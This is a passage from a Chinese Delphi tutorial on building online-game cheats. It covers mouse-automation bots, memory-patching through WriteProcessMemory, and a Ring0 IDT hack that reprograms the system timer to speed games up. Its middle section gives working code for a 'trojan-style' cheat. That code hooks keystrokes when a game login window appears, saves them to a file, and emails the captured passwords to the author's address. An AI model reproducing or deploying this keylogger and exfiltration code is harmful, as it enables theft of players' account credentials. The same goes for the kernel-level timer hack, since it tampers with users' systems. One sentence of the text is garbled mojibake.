LPPOINT lpPoint // address of structure for cursor position ); 2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法 如下: BOOL SetCursorPos(
int X, // horizontal position int Y // vertical position ); 3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下: VOID mouse_event(
DWORD dwFlags, // flags specifying various motion/click variants DWORD dx, // horizontal mouse position or position change DWORD dy, // vertical mouse position or position change DWORD dwData, // amount of wheel movement DWORD dwExtraInfo // 32 bits of application-defined information ); 在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEE VENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~ 好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:
LPCTSTR lpClassName, // pointer to class name LPCTSTR lpWindowName // pointer to window name ); 2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下: DWORD GetWindowThreadProcessId(
HWND hWnd, // handle of window LPDWORD lpdwProcessId // address of variable for process identifier ); 3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下: HANDLE OpenProcess(
DWORD dwDesiredAccess, // access flag BOOL bInheritHandle, // handle inheritance flag DWORD dwProcessId // process identifier ); 在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCE SS 来打开进程就可以,其他的方式我们可以查一下MSDN。 4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入 数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProce ssMemory的用法: BOOL WriteProcessMemory(
HANDLE hProcess, // handle to process whose memory is written to LPVOID lpBaseAddress, // address to start writing to LPVOID lpBuffer, // pointer to buffer to write data to DWORD nSize, // number of bytes to write LPDWORD lpNumberOfBytesWritten // actual number of bytes written ); 5、下面用CloseHandle关闭进程句柄就完成了。 这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子, 提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧: const ResourceOffset: dword = $004219F4; resource: dword = 3113226621; ResourceOffset1: dword = $004219F8; resource1: dword = 1940000000; ResourceOffset2: dword = $0043FA50; resource2: dword = 1280185; ResourceOffset3: dword = $0043FA54; resource3: dword = 3163064576; ResourceOffset4: dword = $0043FA58; resource4: dword = 2298478592; var hw: HWND; pid: dword; h: THandle; tt: Cardinal; begin hw := FindWindow('XX', nil); if hw = 0 then Exit; GetWindowThreadProcessId(hw, @pid); h := OpenProcess(PROCESS_ALL_ACCESS, false, pid); if h = 0 then Exit; if flatcheckbox1.Checked=true then begin WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt); WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt); end; if flatcheckbox2.Checked=true then begin WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt); WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt); WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt); end; MessageBeep(0); CloseHandle(h); close; 这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这 些地址。 ==========www.xxlinux.com============= 以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马 吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一 下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序 实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要 多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文 件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。 在做程序之前我们必需要了解一下程序的思路: 1、我们首先知道你想记录游戏的登录窗口名称。 2、判断登录窗口是否出现。 3、如果登录窗口出现,就记录键盘。 4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。 第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始, 我们就开始这类外挂的程序实现之旅: 那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了: HWND FindWindow(
LPCTSTR lpClassName, // pointer to class name LPCTSTR lpWindowName // pointer to window name ); 实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那 么我们就可以对键盘信息进行记录了。 先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下: HHOOK SetWindowsHookEx(
int idHook, // type of hook to install HOOKPROC lpfn, // address of hook procedure HINSTANCE hMod, // handle of application instance DWORD dwThreadId // identity of thread to install hook for ); 在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直 接用本程序的HINSTANCE就可以了,具体实现方法为: hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0); 而HOOKPROC里的函数就要复杂一点点: function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall; begin if findedtitle then //如果发现窗口后 begin if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下 hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); // 通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的 )转换消息。 if length(hookkey) > 0 then //如果获得按键名称 begin Write(hookkeyFile,hookkey); //把按键名称写入文本文件 hookkey := ''; end; end; end; 以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK ,就是创建setwindowshookex后所返回的句柄。 我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块 并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下: assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件 reset(ReadFile); //设为读取方式 try While not Eof(ReadFile) do //当没有读到文件尾 begin Readln(ReadFile,s,j); //读取文件行 body:=body+s; end; finally closefile(ReadFile); //关闭文件 end; nmsmtp1.EncodeType:=uuMime; //设置编码 nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件 nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址 nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址 nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容 nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题 nmsmtp1.SendMail; //发送邮件 ============================================= 我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变 速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给 大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇? 募铀傩屯夤姨逖橹冒桑? 原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟 频率达到加速的目的。 以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能 可以行得通,但是windows则不然。 windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是 如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬 件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDT表 ->创建 一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用 者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~ 在实现之前我们来理一下思路吧: 1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作 2、调用这个过程来实现加速功能 好了,现在思路有了,我们就边看代码边讲解吧: 首先我们建立一个过程,这个过程就是本程序的核心部份: procedure SetRing(value:word); stdcall; const ZDH = $03; // 设一个中断号 var IDT : array [0..5] of byte; // 保存IDT表 OG : dword; //存放旧向量 begin asm push ebx sidt IDT //读入中断描述符表 mov ebx, dword ptr [IDT+2] //IDT表基地址 add ebx, 8*ZDH //计算中断在中断描述符表中的位置 cli //关中断 mov dx, word ptr [ebx+6] shl edx, 16d mov dx, word ptr [ebx] mov [OG], edx mov eax, offset @@Ring0 //指向Ring0级代码段 mov word ptr [ebx], ax //低16位,保存在1,2位 shr eax, 16d mov word ptr [ebx+6], ax //高16位,保存在6,7位 int ZDH //中断 mov ebx, dword ptr [IDT+2] //重新定位 add ebx, 8*ZDH mov edx, [OG] mov word ptr [ebx], dx shr edx, 16d mov word ptr [ebx+6], dx //恢复被改了的向量 pop ebx jmp @@exitasm //到exitasm处 @@Ring0: //Ring0,这个也是最最最核心的东东 mov al,$34 //写入8253控制寄存器 out $43,al mov ax,value //写入定时值 out $40,al //写定时值低位 mov al,ah out $40,al //写定时值高位 iretd //返回 @@exitasm: end; end; 最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试 着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧! 先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Ch ange事件里写上: